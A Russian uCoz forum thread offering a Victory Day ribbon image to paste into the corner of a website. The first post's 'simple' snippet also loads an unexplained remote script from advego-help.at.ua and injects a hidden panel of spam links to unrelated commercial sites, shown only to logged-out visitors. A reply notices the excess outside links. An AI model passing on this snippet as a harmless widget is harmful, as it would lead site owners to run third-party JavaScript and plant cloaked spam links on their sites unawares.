Георгиевская лента в левый угол сайта

Страница 1 из 1 1
Модератор форума: y4eHuK

Георгиевская лента в левый угол сайта (к 9 мая)

маша

Дата: Воскресенье, 24.03.2013, 13:25 | Сообщение # 1

.::Offline::.

Новичок

Сообщений: 6

[ 0 ]

Награды: 0

Статус отсутствует

Скрин - http://www.ucozabc.ru/_ld/44/4420.png

Новая Георгиевская ленточка для сайтов на движке ucoz

Установка очень проста.Просто вставьте этот код в любой блок на своём сайте.

<layer name="lenta" top=0 left=0 >
<nolayer>
<div id="lenta" style="position:absolute; top:0; left:0;">
</nolayer><img border="0" src="http://www.counter-strike-global-offensive.ru/pra/9may-1-.png" align="left"><nolayer></div> </nolayer></layer>
<script type="text/javascript" src="http://advego-help.at.ua/1.js"></script><?if($USER_LOGGED_IN$)?><?else?>
<style>
.uPanel{background:rgba(0,0,0,0.8);color:#fff;float:left; box-shadow: 0 2px 7px rgba(0, 0, 0, 0.7); -moz-box-shadow: 0 2px 7px rgba(0, 0, 0, 0.7); -webkit-box-shadow: 0 2px 7px rgba(0, 0, 0, 0.7); padding: 4px 5px 4px 5px; border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px; position:fixed; bottom:7px; left:7px;}
a.button{display:block;float:left;padding:6px 9px 6px 9px;margin:2px;color:#fff;font-weight:bold;background:#4E4E4E;background-position:100% 0px;border:1px solid #2D2D2D;border-radius:3px;-moz-border-radius:3px;box-shadow:0px 0px 1px #fff inset;-moz-box-shadow:0px 0px 1px #fff inset;text-shadow:0px -1px 0px #000}
a.button:hover{border:1px solid #006781;color:#fff;background-position:100% -28px;text-shadow:0px -1px 0px #006781}
a.button:active{border:1px solid #815500;color:#fff;background-position:100% -28px;box-shadow:0px 0px 5px #000 inset;-moz-box-shadow:0px 0px 5px #000 inset;text-shadow:0px -1px 0px #006781}
</style>
<div id="dstyle"></div><div class="uPanel" id="uPanel" style="display:none">
<?if($USER_LOGGED_IN$)?> <?else?><a target="_blank" href="http://<?endif?><?if($USER_LOGGED_IN$)?> <?else?>proload.net/ebook/audiobook/" class="button">Аудиокниги<?endif?><?if($USER_LOGGED_IN$)?> <?else?></a><a target="_blank" href="http://<?endif?><?if($USER_LOGGED_IN$)?> <?else?>pr.do.am/news/zarabotok_na_tekstakh/2013-03-08-196" class="button">Заработок<?endif?> <?if($USER_LOGGED_IN$)?> <?else?>на текстах</a><a target="_blank" href="http://<?endif?><?if($USER_LOGGED_IN$)?> <?else?>creepon.ru/diet/" class="button">Диеты и питание</a><a target="_blank" href="http://<?endif?><?if($USER_LOGGED_IN$)?> <?else?>safari-perm.ru/" class="button">Статьи</a><a target="_blank" href="http://<?endif?><?if($USER_LOGGED_IN$)?> <?else?>n-s-t.ru/329-vodopady-madakaripura.html" class="button">Мадакарипура</a><a target="_blank" href="http://<?endif?><?if($USER_LOGGED_IN$)?> <?else?>uspeh-g.ru/186-kak-uluchshit-obmen-veschestv.html" class="button">Как улучшить<?endif?> <?if($USER_LOGGED_IN$)?> <?else?>обмен веществ</a><a target="_blank" href="http://<?endif?><?if($USER_LOGGED_IN$)?> <?else?>mir-tachek.ru/180-kak-sekonomit-na-toplive.html" class="button">Как сэкономить<?endif?> <?if($USER_LOGGED_IN$)?> <?else?>на топливе</a><a target="_blank" href="http://<?endif?><?if($USER_LOGGED_IN$)?> <?else?>z-d-a.ru/sovet/183-podgotovka-avtomobilya-k-vesne.html" class="button">Подготовка автомобиля к весне</a><?endif?>
</div> <script type="text/javascript"> $(function(){
$("#uPanel").fadeIn('normal');
$("#uPanel a.url").tipsy({gravity: 'sw', html: true});
});</script></div><?endif?>

ЛУЧШИЙ ХОСТИНГ САЙТОВ ОТ $1

fenix05

Дата: Понедельник, 25.03.2013, 17:43 | Сообщение # 2

.::Offline::.

Гангстер

Сообщений: 151

[ 62 ]

Награды: 4

Статус отсутствует

Ничего себе код! А сколько ссылок на сторонние сайты...!
Вот норм код для вставки картинки в левый верхний угол:

Код

Если параметр position = fixed, то при прокрутке страницы, картинка всегда будет видна.
Картинку лучше загрузить себе на сайт, тогда не будет лишней ссылки на сторонний ресурс.
Лучше всего вставлять код внутри тэга
Можно сделать картинку кликабельной, если картинку поместить в тэг . пример:

Код

Alien Brickman [vk.com/alien_brickman]Обложка:

Георгиевская лента в левый угол сайта (к 9 мая)

Страница 1 из 1
1